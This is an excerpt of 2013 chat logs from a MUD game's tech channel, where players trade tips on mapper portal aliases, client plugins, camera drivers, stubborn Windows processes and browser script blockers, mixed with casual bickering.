T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it could if you want
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: well, making portals doesn't...but you should make your aliases into that, yes
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: i'm interested in an elaboration on the "no"
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: make your umari alias mapper goto 36645
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: right, that's what i meant
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: i will admit that the ability to just say "goto suchandsuch" and the mapper taking the most direct route is pretty neat.. when maybe running from area to area is faster than looping back through, say, hotel
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: but make your "use hotel share" alias use get share bag, wear share, enter, re-wear whatever it took off (a variable is best), put share bag...and then do mapper portal <thatalias> when standing in the hotel room
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: then your mapper goto 28336 will use the share already
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Remarto Tech: its best to use item id's tho aswell
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: i'll start simple with crec :P
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I still just use runto to get most places.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: how do i see the room id?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: that's cuz you never did xrunto }:>
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: for the current room or for another room?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: mapper thisroom, or hover
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: or mapper find, for something not visible
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: not all room id's are numbers?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: they are
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: my clan recall is not?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: although nomap rooms list -1
T3/r7/2013-02-16.txt.gz:{chan ch=tech}BobTheGreat Tech: Clan rooms have weird IDs listed by mapper thisroom
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's because nomap rooms don't get IDs and I have to fake them
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: yeah, most clans set their internal rooms to nomap/-1 so raiders can't just walk through
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: right, which makes sense after you say it
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: make portal aliases that use clantrans and then a run to your clan exit room's directions
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: bast where do i go to download your most updated package
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: finger bast...
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: there
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Remarto Tech: lol
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: nifty, just got the mapper portal thing to work with sendhia
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: so i understand that bit
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: once you have those sendhia custom exits in, you'll be pimping there :-)
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Remarto Tech: oh yeah
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: yeah, i've never had an alias to take me anywhere but the front of an area out of laziness and my inability to remember wtf i would even set that too
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: my tendency to go MIA for brief periods gives me amnesia on that level of detail
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: nod, but questor tells you the roomname to mapper find <roomname>, then mapper goto <thatroomname> :-)
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: no memory necessary
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: fair enough, but that sort of thing takes no special alias
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: the only special alias i need to make, in general, is to take me to the area
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: yup
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: well great, now that i actually understand this, i'll be fine
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: my complete laziness in the fact that i wear the amulet 100% of the time i'm not going somewhere makes this fairly simple to accomplish
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: <--- doesn't use Tiger of Kai or whatever at SH
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: but just for completeness, make your generic portal alias use wear @main_portal or something like that anyway...you may want to change that some day
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: maybe, but unlikely 
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Vesrai Tech: does anyone know where i can get a container sorter script?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Vesrai Tech: does anyone know where i can get a container sorter script for mush?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: sure
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Daloran Tech: Vesrai... Theres a command "invsort" is it possible that will do what you're looking for?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: finger madcatz lol jk
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: two places...bast or madcatz
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Remarto Tech: where can i get a plugin to put my inv into a minwin?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: finger bast
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Vesrai Tech: thanks guys
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Gnarcyon Tech: anyone else use Opo's sharptracking version 227?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Gnarcyon Tech: i need to know the command to tell it to send the reports to a specific channel
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Oblyx Tech: Hi. Is there any setting in MUSH client that can enable it to save at regular intervals.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Remarto Tech: what do you mean, the client or the character
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Oblyx Tech: I am new to MUDs. For last few days I have played my new character and learnt a lot about alias and putting/getting things from bags etc. Like for potions/portals etc. Few hours ago our power went out and all my work is lost. I did not know I must save it down all the time. Everything was made MUSH side.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Daesilme Tech: http://www.mushclient.com/forum/bbshowpost.php?bbsubject_id=9405
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Daesilme Tech: Scroll down to reply #6
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Daesilme Tech: It's a plugin that saves every X minutes.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Oblyx Tech: thank you
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Hmm, how is it that I have $i</html> in the last line of my sed script but it inserts "</html>" in the second last line...
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Save a Rezit Tech: if you buy a 2.1 speaker will it work with a 7.1 system?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: how do i delete a portal entry for the mapper?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Remarto Tech: mapper help
T3/r7/2013-02-17.txt.gz:{chan ch=tech}BobTheGreat Tech: mapper delete portal whatever
T3/r7/2013-02-17.txt.gz:{chan ch=tech}BobTheGreat Tech: whatever = the portal alias
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can also delete by index number with #
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Daesilme: you can link to specific replies on the mushclient forum
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Dexter Tech: anyone had problems with canon pixma 3000 and win 7?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Dexter Tech: or actually.. ever got it working?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Dexter Tech: works nicely with mac so its not issue
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is that a printer?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: ahh, a camera for trendies only then
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: is it just a driver issue then?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: of course
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: I never connect cameras to computers, always just grab the card from the camera and mount it directly...don't need any crappy camera software that way
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Leonassan Tech: don't most cameras just mount as a drive when you plug them in anyway?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sit like a Trurien Tech: The drivers need to be set up properly for that.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: not really, they mount specially
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: they're not just a drive, but they give you access to the drive
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Which is not a problem in most cases, but when there *is* a problem, it is quite annoying.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Leonassan Tech: Every camera I've ever owned just mounted as a drive, no software, but I've only ever bought nikons.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: even nikons don't mount as just a drive
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: and they do require software, the OS just comes with basic version of it
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: i have never directly connected a camera to a computer
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Leonassan Tech: So you're telling me the camera that is plugged into my computer right now, without any drivers installed, isn't being detected as "Removable Disk: R"
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: i have always connected the SD card or whatever
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: I'm telling you that it's not "without any drivers installed"
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: and that it's also connected as a camera, which is different
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sit like a Trurien Tech: There should be some sort of rudimentary drivers available on most modern OSes.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Leonassan Tech: Ah, so you're a pedant, Ok. "Without any drivers installed that do not come with the operating system".
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: when you plugged it in, the OS asked what you wanted to do with the camera...that's a question which is not asked when you connect a drive
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Leonassan Tech: Yes it is, it does it when I plug in a USB drive or an SD card. The OS tries to guess what's on the disk and what you want to do with it.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Leonassan Tech: I wasn't aware you were against drivers that come with the operating system as well. It must be really hard for you to use a computer.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: there are times when techie people get into arguments that feel incredibly petty
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: this is one of those times
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: it doesn't ask what to do with the camera...that's not the same thing
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Leonassan Tech: Ah, that felt good. "ignore magna"
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Leonassan Tech: And yes, pedantic tech arguments are stupid.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: computers think they're smart, and they treat things differently, transforming the raw data according to what they think you want the data for
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Well, I guess the camera also has to be able to say 'oh, and I can function as a drive too.'
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: heh, and needing to ignore to "feel good" is much smarter
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: sort of feels like an eposide of big bang theory where sheldon argues with sheldon
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: yes, that's an additional enumeration
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: what is the secret windows equivalent of kill -9?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: sysinternals tools
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: can do the ctrl-alt-del task manager, but that's not fully-god-mode without the sysinternals stuff
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: nogs, task manager won't kill it
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: taskkill from command prompt?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: systinternals won't kill it
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: taskkill is lying
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: proccess -k ?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: process*
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: que?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: i'm just using google here
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: came across this
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: http://www.howtogeek.com/howto/windows/kill-processes-from-the-windows-command-line/
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: msconfig, make sure it won't be respawned, reboot...browse the sysinternal section of MS's site when you get around to it
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: anyone can reboot
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: didn't want to have to, hence the question
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: then browse the sysinternals stuff before rebooting...it's stuff put out by MS's internal engineering team (well, one guy mostly)...some of it will require rebooting to get embedded into the task manager though
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: looks like i have no choice, damn Steam and their buggy releases
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: finally got the damned thing working
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Blooddog Tech: where can I download the bbssh client?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: bbssh.org
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Blooddog Tech: thanks
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: never heard of google?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: google will happily sell it to you
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: and sell the fact that you were interested in it to 3rd parties
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: if you're fortunate, it might give you a link to where you can download it
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: god forbid
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: if you're fortunate to be in the 100% population, it'll give you the link, correct
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: and it'll happily sell the fact that someone was interested in it
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: which is a good piece of information to be available to people
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: Tigernuts ruffles your hair playfully. 
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: bbsh actually seems like it's surprisingly difficult to find through google
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: unless you want some high school or sport horsing association
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: funny it's the first 5 links for me
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: must just be being shit, Fiendish, -apparently-
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: maybe because of the typo?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: google results are different for different people, you realise
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh bbssh
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: my bad
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: to a degree, tigernuts
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yeah that makes a big difference
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: be like tigernuts - use bing
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: bbssh is quite specific, but at a more generic level
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: heh, bing
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: googling bbssh will be quite similar for everyone in an industrialized country
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: bbssh gives quite different results than bbsh
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: as it should be
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: i use startpage, which uses google as it's underlying engine
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: none of this really explains why biker didn't use google
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: lmgtfy was created as a response to stuff like that
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: me? I knew the url so why would i have used it?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: biker is a bot
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: bots already know these things
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: apologies, i meant blooddog
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: perhaps his bot is a cheap korean knockoff
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: You instruct The Jerk Fiendish in the fine art of *beep* writing a legal *beep* script.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: nothing cheap about korean knockoffs
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: perhaps his bot is an expensive korean knockoff
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: NORTH KOREA!!!
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: if it was north korean, it would be a piece of paper with "bot" written at the top of it, but otherwise devoid of content
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: north korean only has 1 computer, and that's reserved for Kim Jong Un to bash his bishop over
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: check this out - http://www.reddit.com/r/Pyongyang/
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no joke, the real thing
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't use reddit
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: thanks for letting us know
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Blooddog Tech: ok, got bbssh how do I get it on aardwolf now?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: check out help connect?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Blooddog Tech: oki, I downloaded bbsh on my blackberry and I did checkout help connect but its still not connecting.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Blooddog Tech: bbssh*
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: q. why?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Blooddog Tech: huh
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: why bbssh needed for mudding?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Blooddog Tech: I'm from mxit:(
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: ditch it and get a lappie
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: or if desperate, a tablet
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Blooddog Tech: lol
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: i'd like to see a code of conduct for news websites where it is a no-no to a. launch videos onload, and b. open external links on clicking the body tag or background
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: code of conduct for websites period, really
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sorati Tech: you mean something like google webmaster guidelines?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: nope
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: an ISO standard maybe, w3c as a secondary option
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sorati Tech: it'd be nice, but i think removing bad sites from search result is at least a start
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: he's talking about sites which don't fit his personal style preferences, not bad sites...
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: it's not a search issue, it's a website author issue
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: because you don't use search, right?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: i find it annoying, very annoying, when videos play right after loading
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: espn is my primary agitator
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: as internet news becomes the outlet for the sheep media, they might start paying more attention to providing a non-obnoxious product
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you don't use noscript?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: even if i want to watch the highlights, or brief interview, or whatever... don't just start that right away
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: is noscript an addon for chrome?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sorati Tech: they have an addon like it for chrome
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: i use adblock and ghostery, i have never heard of noscript
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, man, noscript is the thing
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sorati Tech: it's pretty nice, it can stop all scripts from showing up except the ones you allow
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: probably available for chrome since it's so popular. i use it on fx
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: i don't see it anywhere
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: google "noscript for chrome" gave me noscripts
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sorati Tech: noscript is a firefox addon, i think there's one called 'notscripts'
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i recommend using search engines, no matter what nuts says
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: ah, your google skills are better than mine this time
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: search engines aren't an issue
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: i searched noscript in googles webstore and didn't find it
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: just be aware of what they do and how they work
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: wasn't sure where to go from there at first
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, used some l33t keywords
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: they do search lookups...and they work by taking input and giving you output
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: A NotScripts password is required to be set for the initial use on a computer or if NotScripts was updated. The password is used to protect your privacy by preventing web sites from viewing the NotScripts whitelist caches. Due to technical limitations, you are required to open a file to set the password.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: losing interest in a hurry...
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: Tigernuts rolls his eyes at you. 
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: that sounds like work
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sorati Tech: idk scars, the one on firefox isn't like that
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: prefer firefox to chrome, anyway
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: abe, you got it all wrong. they're selling everything that nuts is searching to some bad guys and they try to sneak into his house and kill him when he sleeps. because they really care about the stuff nuts searches
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: well sure, that's cuz chrome exists merely to get the googleverse into your computer
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: they're always watching him, because they care so much
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: i like to deny google the funds
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: dagnir's just a shit
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, i bet you're a real blow to their wallet
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: he's the sole reason that Apple is a richer company than google and microsoft
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: they're helped more by dodgy tax practices than their access to my wallet
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Hanslanda Tech: GoogleNet's become self-aware, we're doomed now.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: apple is rich because of abusing slave labour in China to sell trendy pointless electronic tat to thick americans
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and your computer isn't made in foxconn? :P
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: no idea
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: apple has no chinese labor
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: exactly. you're clueless
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: btw, it probably is
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: probably
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Hanslanda Tech: what Tigernuts really is saying is that a US product is helping to prop up foreign economies. :)
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: would be nice if they made it in the US
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: no it wouldn't
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: this notscripts blows
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sorati Tech: that's why you need to switch to firefox and slap on adblock and noscript =p
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: not surprised. most classic fx plugins on chrome suck
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: adblock is fine, a friend recently suggest ghostery
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: i haven't noticed anything helpful come from ghostery
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: main reason why i'm still on fx. adblock and noscript blow and i can't get vertical tabs
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: nah, adblock blows because unlike fx version it loads the ads and then hides them. fx version gets rid of them from the scratch
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: eh, i'm a 2-tab browser tops... and i liked that when chrome first came out that the URL bar was also a google search
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: my computer mainboard is manufactuered by Pegatron, so stfu
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i'm a 40-tab browser type :P
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: i haven't noticed a difference personally
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Hanslanda Tech: you work too much, Dagnir.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: so it's made in china...why would that make us stfu?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: not made by Foxconn
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: which was the charge
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sorati Tech: ghostery lets you block scripts / tracking you select, right, scars?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: foxconn makes components, not the mobo
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: i think it's just a cookies blocker, not a scripts blocker
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: if there was a local alternative, i'd but that
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: no you wouldn't
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and assembly, abe
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: you'd end up having to pay WAY more for the same product, and that would make you feel good?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: my laptop is foxconn, but hey, my phone is made in finland
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: yup
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: china has some labor law/protection issues, that's for certain... but paying more just to pay more is sort of a strange approach
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: like he pays any real sums for anything...he'd TALK about buying a local product...
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Mohan Tech: paying 4 tps to someone who can help make or make a script to change weapons (set them, get from bags, wear and put again in bags)
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: he wouldn't actually DO it
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: self failing prophecy, there isn't, so i don't need to, but were there, i would
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: mohan: bast has one
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Mohan Tech: for dual too?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vakieh Tech: I buy the best item for the best price I can find (which is by definition the MOST exploitative). Not overly fussed, tbh.
